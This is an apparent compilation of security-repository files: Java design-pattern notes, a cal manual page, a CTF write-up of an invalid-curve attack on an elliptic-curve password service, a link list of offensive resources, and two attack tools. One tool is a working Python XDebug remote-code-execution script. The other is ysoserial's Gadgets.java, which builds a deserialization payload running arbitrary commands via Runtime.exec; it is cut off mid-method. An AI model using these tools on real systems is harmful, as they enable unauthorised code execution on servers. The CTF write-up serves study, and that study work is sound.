ConcreteRemoteControl1(TV tv) { super(tv); } @Override public void on() { System.out.println("ConcreteRemoteControl1.on()"); tv.on(); } @Override public void off() { System.out.println("ConcreteRemoteControl1.off()"); tv.off(); } @Override public void tuneChannel() { System.out.println("ConcreteRemoteControl1.tuneChannel()"); tv.tuneChannel(); } } ``` ```java public class ConcreteRemoteControl2 extends RemoteControl { public ConcreteRemoteControl2(TV tv) { super(tv); } @Override public void on() { System.out.println("ConcreteRemoteControl2.on()"); tv.on(); } @Override public void off() { System.out.println("ConcreteRemoteControl2.off()"); tv.off(); } @Override public void tuneChannel() { System.out.println("ConcreteRemoteControl2.tuneChannel()"); tv.tuneChannel(); } } ``` ```java public class Client { public static void main(String[] args) { RemoteControl remoteControl1 = new ConcreteRemoteControl1(new RCA()); remoteControl1.on(); remoteControl1.off(); remoteControl1.tuneChannel(); RemoteControl remoteControl2 = new ConcreteRemoteControl2(new Sony()); remoteControl2.on(); remoteControl2.off(); remoteControl2.tuneChannel(); } } ``` ### JDK - AWT (It provides an abstraction layer which maps onto the native OS the windowing support.) - JDBC ## 3. 组合(Composite) ### Intent 将对象组合成树形结构来表示“整体/部分”层次关系,允许用户以相同的方式处理单独对象和组合对象。 ### Class Diagram 组件(Component)类是组合类(Composite)和叶子类(Leaf)的父类,可以把组合类看成是树的中间节点。 组合对象拥有一个或者多个组件对象,因此组合对象的操作可以委托给组件对象去处理,而组件对象可以是另一个组合对象或者叶子对象。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2b8bfd57-b4d1-4a75-bfb0-bcf1fba4014a.png"/> </div><br> ### Implementation ```java public abstract class Component { protected String name; public Component(String name) { this.name = name; } public void print() { print(0); } abstract void print(int level); abstract public void add(Component component); abstract public void remove(Component component); } ``` ```java public class Composite extends Component { private List<Component> child; public Composite(String name) { super(name); child = new ArrayList<>(); } @Override void print(int level) { for (int i = 0; i < level; i++) { System.out.print("--"); } System.out.println("Composite:" + name); for (Component component : child) { component.print(level + 1); } } @Override public void add(Component component) { child.add(component); } @Override public void remove(Component component) { child.remove(component); } } ``` ```java public class Leaf extends Component { public Leaf(String name) { super(name); } @Override void print(int level) { for (int i = 0; i < level; i++) { System.out.print("--"); } System.out.println("left:" + name); } @Override public void add(Component component) { throw new UnsupportedOperationException(); // 牺牲透明性换取单一职责原则,这样就不用考虑是叶子节点还是组合节点 } @Override public void remove(Component component) { throw new UnsupportedOperationException(); } } ``` ```java public class Client { public static void main(String[] args) { Composite root = new Composite("root"); Component node1 = new Leaf("1"); Component node2 = new Composite("2"); Component node3 = new Leaf("3"); root.add(node1); root.add(node2); root.add(node3); Component node21 = new Leaf("21"); Component node22 = new Composite("22"); node2.add(node21); node2.add(node22); Component node221 = new Leaf("221"); node22.add(node221); root.print(); } } ``` ```html Composite:root --left:1 --Composite:2 ----left:21 ----Composite:22 ------left:221 --left:3 ``` ### JDK - javax.swing.JComponent#add(Component) - java.awt.Container#add(Component) - java.util.Map#putAll(Map) - java.util.List#addAll(Collection) - java.util.Set#addAll(Collection) ## 4. 装饰(Decorator) ### Intent 为对象动态添加功能。 ### Class Diagram 装饰者(Decorator)和具体组件(ConcreteComponent)都继承自组件(Component),具体组件的方法实现不需要依赖于其它对象,而装饰者组合了一个组件,这样它可以装饰其它装饰者或者具体组件。所谓装饰,就是把这个装饰者套在被装饰者之上,从而动态扩展被装饰者的功能。装饰者的方法有一部分是自己的,这属于它的功能,然后调用被装饰者的方法实现,从而也保留了被装饰者的功能。可以看到,具体组件应当是装饰层次的最低层,因为只有具体组件的方法实现不需要依赖于其它对象。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/6b833bc2-517a-4270-8a5e-0a5f6df8cd96.png"/> </div><br> ### Implementation 设计不同种类的饮料,饮料可以添加配料,比如可以添加牛奶,并且支持动态添加新配料。每增加一种配料,该饮料的价格就会增加,要求计算一种饮料的价格。 下图表示在 DarkRoast 饮料上新增新添加 Mocha 配料,之后又添加了 Whip 配料。DarkRoast 被 Mocha 包裹,Mocha 又被 Whip 包裹。它们都继承自相同父类,都有 cost() 方法,外层类的 cost() 方法调用了内层类的 cost() 方法。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c9cfd600-bc91-4f3a-9f99-b42f88a5bb24.jpg" width="600"/> </div><br> ```java public interface Beverage { double cost(); } ``` ```java public class DarkRoast implements Beverage { @Override public double cost() { return 1; } } ``` ```java public class HouseBlend implements Beverage { @Override public double cost() { return 1; } } ``` ```java public abstract class CondimentDecorator implements Beverage { protected Beverage beverage; } ``` ```java public class Milk extends CondimentDecorator { public Milk(Beverage beverage) { this.beverage = beverage; } @Override public double cost() { return 1 + beverage.cost(); } } ``` ```java public class Mocha extends CondimentDecorator { public Mocha(Beverage beverage) { this.beverage = beverage; } @Override public double cost() { return 1 + beverage.cost(); } } ``` ```java public class Client { public static void main(String[] args) { Beverage beverage = new HouseBlend(); beverage = new Mocha(beverage); beverage = new Milk(beverage); System.out.println(beverage.cost()); } } ``` ```html 3.0 ``` ### 设计原则 类应该对扩展开放,对修改关闭:也就是添加新功能时不需要修改代码。饮料可以动态添加新的配料,而不需要去修改饮料的代码。 不可能把所有的类设计成都满足这一原则,应当把该原则应用于最有可能发生改变的地方。 ### JDK - java.io.BufferedInputStream(InputStream) - java.io.DataInputStream(InputStream) - java.io.BufferedOutputStream(OutputStream) - java.util.zip.ZipOutputStream(OutputStream) - java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]() ## 5. 外观(Facade) ### Intent 提供了一个统一的接口,用来访问子系统中的一群接口,从而让子系统更容易使用。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f9978fa6-9f49-4a0f-8540-02d269ac448f.png"/> </div><br> ### Implementation 观看电影需要操作很多电器,使用外观模式实现一键看电影功能。 ```java public class SubSystem { public void turnOnTV() { System.out.println("turnOnTV()"); } public void setCD(String cd) { System.out.println("setCD( " + cd + " )"); } public void startWatching(){ System.out.println("startWatching()"); } } ``` ```java public class Facade { private SubSystem subSystem = new SubSystem(); public void watchMovie() { subSystem.turnOnTV(); subSystem.setCD("a movie"); subSystem.startWatching(); } } ``` ```java public class Client { public static void main(String[] args) { Facade facade = new Facade(); facade.watchMovie(); } } ``` ### 设计原则 最少知识原则:只和你的密友谈话。也就是说客户对象所需要交互的对象应当尽可能少。 ## 6. 享元(Flyweight) ### Intent 利用共享的方式来支持大量细粒度的对象,这些对象一部分内部状态是相同的。 ### Class Diagram - Flyweight:享元对象 - IntrinsicState:内部状态,享元对象共享内部状态 - ExtrinsicState:外部状态,每个享元对象的外部状态不同 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/5f5c22d5-9c0e-49e1-b5b0-6cc7032724d4.png"/> </div><br> ### Implementation ```java public interface Flyweight { void doOperation(String extrinsicState); } ``` ```java public class ConcreteFlyweight implements Flyweight { private String intrinsicState; public ConcreteFlyweight(String intrinsicState) { this.intrinsicState = intrinsicState; } @Override public void doOperation(String extrinsicState) { System.out.println("Object address: " + System.identityHashCode(this)); System.out.println("IntrinsicState: " + intrinsicState); System.out.println("ExtrinsicState: " + extrinsicState); } } ``` ```java public class FlyweightFactory { private HashMap<String, Flyweight> flyweights = new HashMap<>(); Flyweight getFlyweight(String intrinsicState) { if (!flyweights.containsKey(intrinsicState)) { Flyweight flyweight = new ConcreteFlyweight(intrinsicState); flyweights.put(intrinsicState, flyweight); } return flyweights.get(intrinsicState); } } ``` ```java public class Client { public static void main(String[] args) { FlyweightFactory factory = new FlyweightFactory(); Flyweight flyweight1 = factory.getFlyweight("aa"); Flyweight flyweight2 = factory.getFlyweight("aa"); flyweight1.doOperation("x"); flyweight2.doOperation("y"); } } ``` ```html Object address: 1163157884 IntrinsicState: aa ExtrinsicState: x Object address: 1163157884 IntrinsicState: aa ExtrinsicState: y ``` ### JDK Java 利用缓存来加速大量小对象的访问时间。 - java.lang.Integer#valueOf(int) - java.lang.Boolean#valueOf(boolean) - java.lang.Byte#valueOf(byte) - java.lang.Character#valueOf(char) ## 7. 代理(Proxy) ### Intent 控制对其它对象的访问。 ### Class Diagram 代理有以下四类: - 远程代理(Remote Proxy):控制对远程对象(不同地址空间)的访问,它负责将请求及其参数进行编码,并向不同地址空间中的对象发送已经编码的请求。 - 虚拟代理(Virtual Proxy):根据需要创建开销很大的对象,它可以缓存实体的附加信息,以便延迟对它的访问,例如在网站加载一个很大图片时,不能马上完成,可以用虚拟代理缓存图片的大小信息,然后生成一张临时图片代替原始图片。 - 保护代理(Protection Proxy):按权限控制对象的访问,它负责检查调用者是否具有实现一个请求所必须的访问权限。 - 智能代理(Smart Reference):取代了简单的指针,它在访问对象时执行一些附加操作:记录对象的引用次数;当第一次引用一个对象时,将它装入内存;在访问一个实际对象前,检查是否已经锁定了它,以确保其它对象不能改变它。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9b679ff5-94c6-48a7-b9b7-2ea868e828ed.png"/> </div><br> ### Implementation 以下是一个虚拟代理的实现,模拟了图片延迟加载的情况下使用与图片大小相等的临时内容去替换原始图片,直到图片加载完成才将图片显示出来。 ```java public interface Image { void showImage(); } ``` ```java public class HighResolutionImage implements Image { private URL imageURL; private long startTime; private int height; private int width; public int getHeight() { return height; } public int getWidth() { return width; } public HighResolutionImage(URL imageURL) { this.imageURL = imageURL; this.startTime = System.currentTimeMillis(); this.width = 600; this.height = 600; } public boolean isLoad() { // 模拟图片加载,延迟 3s 加载完成 long endTime = System.currentTimeMillis(); return endTime - startTime > 3000; } @Override public void showImage() { System.out.println("Real Image: " + imageURL); } } ``` ```java public class ImageProxy implements Image { private HighResolutionImage highResolutionImage; public ImageProxy(HighResolutionImage highResolutionImage) { this.highResolutionImage = highResolutionImage; } @Override public void showImage() { while (!highResolutionImage.isLoad()) { try { System.out.println("Temp Image: " + highResolutionImage.getWidth() + " " + highResolutionImage.getHeight()); Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } highResolutionImage.showImage(); } } ``` ```java public class ImageViewer { public static void main(String[] args) throws Exception { String image = "http://image.jpg"; URL url = new URL(image); HighResolutionImage highResolutionImage = new HighResolutionImage(url); ImageProxy imageProxy = new ImageProxy(highResolutionImage); imageProxy.showImage(); } } ``` ### JDK - java.lang.reflect.Proxy - RMI # 参考资料 - 弗里曼. Head First 设计模式 [M]. 中国电力出版社, 2007. - Gamma E. 设计模式: 可复用面向对象软件的基础 [M]. 机械工业出版社, 2007. - Bloch J. Effective java[M]. Addison-Wesley Professional, 2017. - [Design Patterns](http://www.oodesign.com/) - [Design patterns implemented in Java](http://java-design-patterns.com/) - [The breakdown of design patterns in JDK](http://www.programering.com/a/MTNxAzMwATY.html)
sec-knowleage
cal === 显示当前日历或指定日期的日历 ## 补充说明 **cal命令** 用于显示当前日历,或者指定日期的日历,如果没有指定参数,则显示当前月份。 一个单一的参数指定要显示的年份 (1 - 9999) ; 注意年份必须被完全地指定: cal 89 不会 显示1989年的日历. 两个参数表示月份 (1 - 12) 和年份. 如果没有指定参数, 则显示当前月份的日历. 一年从Jan 1 (1 月 1 日) 开始. 格里高利历法改革(Gregorian Reformation)被认为发生于 1752 年 9 月 3 日. 在此之前, 多数国家已经认可这项改革(尽管有一些直到 20 世纪初才认可它). 那天之后的 10 天在这项改革被略去了, 所以那个月的日历有点不太寻常. ### 语法 ```shell cal [ -mjy ] [ 月份 ] [ 年份 ] ``` ### 选项 ```shell -l # 显示单月输出; -3 # 显示临近三个月的日历; -s # 将星期日作为月的第一天; -m # 显示星期一作为一周的第一天.. (缺省为星期日.) -j # 显示儒略历的(Julian)日期 (以 1 为基的天数, 从 1 月 1 日开始计数) . -y # 显示当前年份的日历.. ``` ### 参数 ```shell 月:指定月份; 年:指定年份。 ``` ### 实例 单独执行cal命令会打印出日历: ```shell [root@localhost ~]# cal 十二月 2013 日 一 二 三 四 五 六 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ``` ```shell [root@localhost ~]# cal -j 十二月 2013 日 一 二 三 四 五 六 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 ``` ```shell [root@localhost ~]# cal -3 九月 2021 十月 2021 十一月 2021 日 一 二 三 四 五 六 日 一 二 三 四 五 六 日 一 二 三 四 五 六 1 2 3 4 1 2 1 2 3 4 5 6 5 6 7 8 9 10 11 3 4 5 6 7 8 9 7 8 9 10 11 12 13 12 13 14 15 16 17 18 10 11 12 13 14 15 16 14 15 16 17 18 19 20 19 20 21 22 23 24 25 17 18 19 20 21 22 23 21 22 23 24 25 26 27 26 27 28 29 30 24 25 26 27 28 29 30 28 29 30 31 ```
sec-knowleage
# Secure Password DB (crypto, 357p, 7 solved) In the challenge we get access to a webpage where you can check if your password was leaked. We can access the [source code](index.php) of the page. The idea behind this page is quite simple: - We provide a password - This password is transformed into a point `Q` on an Elliptic Curve `E` on the client side - This point is multiplied by a random client secret `enc_key` on the client side, so that the server never sees the cleartext password point, so we have now `R=enc_key*Q` - This point `P` gets encrypted using server-side secret `k` by calculating new point `S=k*R` - Using the first letter of the password we provided, the server fetches a bucket of all passwords starting with this letter, and returns encrypted version of those passwords - Now we remove the `enc_key` part from point `S` by `decrypting` this point using secret `enc_key`, so we simply multiply point `S` by `modinv(enc_key, E.order())` - Finally we can compare the encrypted passwords we got from the server, with the point we have, if any of them matches it means our password was in the DB The vulnerability here comes from the fact that the server doesn't actually check if the point we provide is a valid point on the curve `E`. We send some point `R` and server simply calculates `k*R` for us. And if we look at how calculations are made, the coefficient `B` is not used in scalar multiplication. This means we can do attack described in https://www.iacr.org/archive/crypto2000/18800131/18800131.pdf We can create a new Elliptic Curve `E'` using a different value for `B`, but such that order of this curve will have a small divisor `r`. We can then ask the server to encrypt a point of this subgroup. In such case we can calculate a Discrete Logarithm in a small subgroup and recover `k mod r`, where `k` is the secret key. ```python P = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF A = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC quotients, mods = [], [] for B in range(7): # for random B print('B',B) try: E = EllipticCurve(GF(P), [A, int(B)]) # new curve order = E.order() factors = prime_factors(order) print('Factors', factors) for prime in factors: if prime > 10 and prime < 2**20: # skip large subgroups try: print("Solving for prime", prime) G = E.gen(0) * int(order / prime) # point of the subgroup G1x, G1y = encryptPoint((G[0], G[1])) G1 = E(G1x, G1y) solution = G.discrete_log(G1) print("K mod " + str(prime) + " = " + str(solution)) mods.append(prime) quotients.append(solution) print('Known relations', quotients, mods) except Exception as e: pass # wrong point except: pass # wrong curve ``` We can then repeat this process for different values of `r` and different curves `E'` and collect a lot of relations `ci = k mod ri`. Once we have enough of them we can use Chinese Reminder Theorem to recover the value of `k` (we need enough pairs `(ci, ri)` so that `r1*r2*...*rn >= k`) ```python CRT_list(quotients, mods) ``` By running this we recovered the secret `86962807399445295025648724453367621898` which is actually a printable string `Almost there :)\n`. Now the last part is just grabbing encrypted passwords from the server and decrypting them. Since we know the curve and the secret, we can just calculate `modinv(secret, E.order())` and multiply encrypted passwords by this scalar. Then we just take the `X` coordinate of the result point and print as string: ```python inv = inverse_mod(secret, E.order()) pws = grab('S') for x,y in pws: Q = E(x,y) X = Q*inv print(long_to_bytes(X[0])) ``` And one of the entries is the flag: `SaF{I_use_a_small_group_of_pws}` Complete automatic solver [here](ecc.sage)
sec-knowleage
# Writeup 0CTF 2016 Team: akrasuski1, cr019283, c7f.m0d3, mnmd21891, other019, rev, msm, shalom, nazywam, ppr ### Table of contents * [equation (crypto)](equation) * [People's Square (crypto/re)](peoples_square) * [RSA? (crypto)](rsa) * [sandbox (pwn)](sandbox) * [warmup (pwn)](warmup) * [opm (misc)](opm) * [xorpainter (misc)](xorpainter) * [trace (re)](trace) * [rand_2 (web)](rand_2) * [piapiapia (web)](piapiapia) * [boomshakalaka (mobile)](boomshakalaka)
sec-knowleage
# 引用 ## 总览 * [ ] [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) * [ ] [狼组安全团队公开知识库](https://wiki.wgpsec.org/knowledge/ctf/xxe.html) * [ ] [渗透测试笔记](https://github.com/xiaoy-sec/Pentest\_Note) * [ ] [零组文库](https://0-wiki.com/) * [ ] [文档库1](https://blog.gm7.org/) * [ ] [s0cm0nkeys-security-reference-guide](https://s0cm0nkey.gitbook.io/) * [ ] [securehat](https://blog.securehat.co.uk) * [ ] [安全矩阵](http://www.smatrix.org/forum/) * [ ] [安全客](https://www.anquanke.com/) * [ ] [HackTricks](https://book.hacktricks.xyz/welcome/readme) * [ ] [xapax](https://xapax.github.io/security/) * [x] [My OSCP Preparation Notes](https://oscpnotes.infosecsanyam.in/) * [x] [All About OSCP](https://oscp.infosecsanyam.in/) * [x] [adithyanak_OSCP](https://blog.adithyanak.com/oscp-preparation-guide) * [ ] [geekby](https://www.geekby.site/) * [ ] [awesome-cve-poc](https://github.com/qazbnm456/awesome-cve-poc) * [ ] [ired.team](https://github.com/mantvydasb/RedTeaming-Tactics-and-Techniques) * [ ] [RedTeamNotes](https://github.com/biggerduck/RedTeamNotes) * [ ] [Pentest_Note](https://github.com/xiaoy-sec/Pentest_Note) > 实战多 * [ ] [xuan-sec](https://xu-an.gitbook.io/sec/) * [ ] [brainyou-oscp](https://gitbook.brainyou.stream/) * [ ] [burmat-oscp](https://burmat.gitbook.io/security/) * [ ] [six2dez](https://pentestbook.six2dez.com/) > 工具集合 * [ ] [powersploit](https://powersploit.readthedocs.io/en/latest/) * [ ] [Payloads All The Things](http://www.milworm.cn/payloads/) * [ ] [the hacker tools](https://tools.thehacker.recipes/) * [ ] [OFFENSIVE SECURITY CHEATSHEET](https://cheatsheet.haax.fr/) * [ ] [Experienced-Pentester-OSEP](https://github.com/nullg0re/Experienced-Pentester-OSEP) * [ ] [active-directory-attack-defense](https://0xsp.com/offensive/active-directory-attack-defense/) * [ ] [1earn](https://github.com/ffffffff0x/1earn) * [ ] [3gstudent](https://3gstudent.github.io/) * [ ] [zeyu2001](https://pentesting.zeyu2001.com/) * [x] [sushant747](https://sushant747.gitbooks.io/total-oscp-guide/content/) * [ ] [渗透测试实战第三版(红队版)](https://wizardforcel.gitbooks.io/the-hacker-playbook-3/content/) * [ ] [渗透攻击红队百科全书]() * [ ] [collection-document](https://github.com/tom0li/collection-document) > 很多方向文档,可后续继续回看 * [x] [Micro8](https://github.com/Micropoor/Micro8) * [ ] [seguranca-informatica](https://gitbook.seguranca-informatica.pt/) * [ ] [OSCPRepo](https://github.com/rewardone/OSCPRepo) * [ ] [Android_Security](https://github.com/anantshri/Android_Security) * [ ] [linuxStack](https://github.com/g0dA/linuxStack) * [ ] [pentest-everything](https://viperone.gitbook.io/pentest-everything/) * [ ] [cuminsec](https://dh.cuminsec.com/) * [ ] [hackingarticles](https://www.hackingarticles.in/) * [ ] [red-team-notes-2-0](https://dmcxblue.gitbook.io/) * [ ] [Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet) * [ ] [Attack Catalog](https://www.netwrix.com/attack.html) * [ ] [attacking_ad](https://zer1t0.gitlab.io/posts/attacking_ad/?s=09) * [ ] [s0cm0nkey](https://s0cm0nkey.gitbook.io/) * [ ] [specterops](https://specterops.gitbook.io/ghostpack/rubeus/constrained-delegation-abuse) * [ ] [ATT && ACK](https://attack.mitre.org/) * [ ] [adsecurity](https://adsecurity.org/) * [ ] [snovvcrash](https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/roasting) * [ ] [piosky](https://cs.piosky.fr/) * [ ] [bhavsec](https://bhavsec.com/resources/) * [ ] [hacknotes](https://nozerobit.gitbook.io/hacknotes/) * [ ] [alexanderbittner](https://alexanderbittner.gitbook.io/pentest-resources/) * [ ] [Pentest_Note](https://github.com/xiaoy-sec/Pentest_Note) * [ ] [snovvcrash](https://ppn.snovvcrash.rocks/) * [ ] [kashz-jewels](https://kashz.gitbook.io/kashz-jewels/) * [ ] [redtm](https://redtm.com/) * [ ] [kashz](https://kashz.gitbook.io/) * [ ] [oscp-notes](https://notchxor.github.io/oscp-notes/) * [ ] [Red Team notes](https://dmcxblue.gitbook.io/) * [ ] [hackinn](https://www.hackinn.com/) * [ ] [sec-un安全村](https://www.sec-un.org/) * [ ] [unh4ck](https://www.unh4ck.com/) ## cobalt-strike * [x] [CS中文书籍](https://wbglil.gitbook.io/cobalt-strike) * [x] [Cobalt Strike 4.0 手册](https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C\_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf) * [ ] [Red Team Ops with Cobalt Strike](https://www.youtube.com/playlist?list=PL9HO6M\_MU2nfQ4kHSCzAQMqxQxH47d1no) * [ ] [CobaltStrike魔改与增强](https://mp.weixin.qq.com/s/1iVhIMTGJ\_rxshl8l98ucA) * [ ] \[[探索 Cobalt Strike 的 ExternalC2 框架](https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/)] * [ ] [DoHC2](https://github.com/SpiderLabs/DoHC2) ## codeql * [ ] [CodeQL 学习笔记](https://www.yuque.com/loulan-b47wt/rc30f7) ## 渗透测试 * [ ] [spel表达式注入](https://mp.weixin.qq.com/s/D5GXTNDskEFlgGYvjc0nYA) * [ ] [Spring Boot Actuator 漏洞复现合集](https://blog.csdn.net/god\_zzZ/article/details/122837698) ## 内网渗透 - [ ] [AD-Attack-Defense](https://github.com/infosecn1nja/AD-Attack-Defense) * [x] [windows协议](https://daiker.gitbook.io/) ## WAF * [ ] [WAF绕过姿势](https://github.com/CHYbeta/WAF-Bypass) ## CTF * [ ] [CTF竞赛权威指南](https://github.com/firmianay/CTF-All-In-One) * [ ] [CTF竞赛权威指南(Pwn篇)](https://github.com/firmianay/ctf-book) * [ ] [d00mfist1](https://d00mfist1.gitbooks.io/ctf/content/) ## 代码审计 * [ ] [代码审计详解技巧与案例分享](https://www.bilibili.com/video/BV16F411h7Sy/) ## 免杀 [edr免杀之syscall](https://mp.weixin.qq.com/s/a8aXgIKN850aDgo0pUtPNg) ## APP安全 [IOS端渗透测试从0到1](https://mp.weixin.qq.com/s/ukV7wfFNEy9jdCjqJlSh7A) ## 杂项 [navicat-keygen-tools](https://github.com/HeQuanX/navicat-keygen-tools) [CSP检测](https://csper.io/) ## 提权 [linux内核提权环境](https://github.com/bsauce/kernel-exploit-factory) https://cloud.tencent.com/developer/user/6318226 https://www.freebuf.com/vuls/284919.html https://www.cnblogs.com/backlion/categories https://www.youtube.com/playlist?list=PLziMzyAZFGMdVFAyW3MVTO0P9jMmVQkTB https://github.com/Mr-xn/RedTeam_BlueTeam_HW https://whoamianony.top/ https://tools.thehacker.recipes/crackmapexec https://cloud.tencent.com/developer/user/2638143 https://heibai.org.cn/
sec-knowleage
#!/usr/bin/env python3 import re import sys import time import requests import argparse import socket import base64 import binascii from concurrent.futures import ThreadPoolExecutor pool = ThreadPoolExecutor(1) session = requests.session() session.headers = { 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' } def recv_xml(sock): blocks = [] data = b'' while True: try: data = data + sock.recv(1024) except socket.error as e: break if not data: break while data: eop = data.find(b'\x00') if eop < 0: break blocks.append(data[:eop]) data = data[eop+1:] if len(blocks) >= 4: break return blocks[3] def trigger(url): time.sleep(2) try: session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1) except: pass if __name__ == '__main__': parser = argparse.ArgumentParser(description='XDebug remote debug code execution.') parser.add_argument('-c', '--code', required=True, help='the code you want to execute.') parser.add_argument('-t', '--target', required=True, help='target url.') parser.add_argument('-l', '--listen', default=9000, type=int, help='local port') args = parser.parse_args() ip_port = ('0.0.0.0', args.listen) sk = socket.socket() sk.settimeout(10) sk.bind(ip_port) sk.listen(5) pool.submit(trigger, args.target) conn, addr = sk.accept() conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00'])) data = recv_xml(conn) print('[+] Recieve data: ' + data.decode()) g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I) if not g: print('[-] No result...') sys.exit(0) data = g.group(1) try: print('[+] Result: ' + base64.b64decode(data).decode()) except binascii.Error: print('[-] May be not string result...')
sec-knowleage
# Google CTF - Beginner's Quest (2019) > You are a simple life form, exiled from your home planet and in search of a new place to call home. The ruling came fast. Your taste in music was deemed to be far too "out-there-man" for anyone to possibly associate with you anymore. You were given 60 revolutions of Xenon around Fir to leave and never return. Gather whatever possessions and leave. You find your parents music collection, oddly in it is a golden disc labelled "Property of NASA, if lost please return to: EVNJAKL 1600 Ampitheatre Parkway Mountain View California." The music on the disc was uncovered a while back and was not very interesting. This weird language that said something about "Peace, love and rock and roll. Also we're having a really cool party tonight, so for whoever is out there, bring a friend and come along! Co-ordinates enclosed." On the back the words "Draft, do not distribute or load onto probe" written in big red letters. That could mean anything. > > You'll go, since you have nowhere else to go. But you'll be careful. You well know to learn all you can about alien beings before making contact. They could be hostile, or listen to boring music. Time is slipping away fast, you race aboard the nearest ObarPool Spaceship. But you've never driven one... what next genius? Various writeups for the 2019 Google CTF Beginner's Quest. ![path](images/path1.png)
sec-knowleage
package Utils; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import java.io.Serializable; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; /* * utility generator functions for common jdk-only gadgets */ @SuppressWarnings ( { "restriction", "rawtypes", "unchecked" } ) public class Gadgets { static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled System.setProperty(DESERIALIZE_TRANSLET, "true"); // for RMI remote loading System.setProperty("java.rmi.server.useCodebaseOnly", "false"); } public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } // required to make TemplatesImpl happy public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L; } public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); } public static Map<String, Object> createMap ( final String key, final Object val ) { final Map<String, Object> map = new HashMap<String, Object>(); map.put(key, val); return map; } public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { HashMap s = new HashMap(); 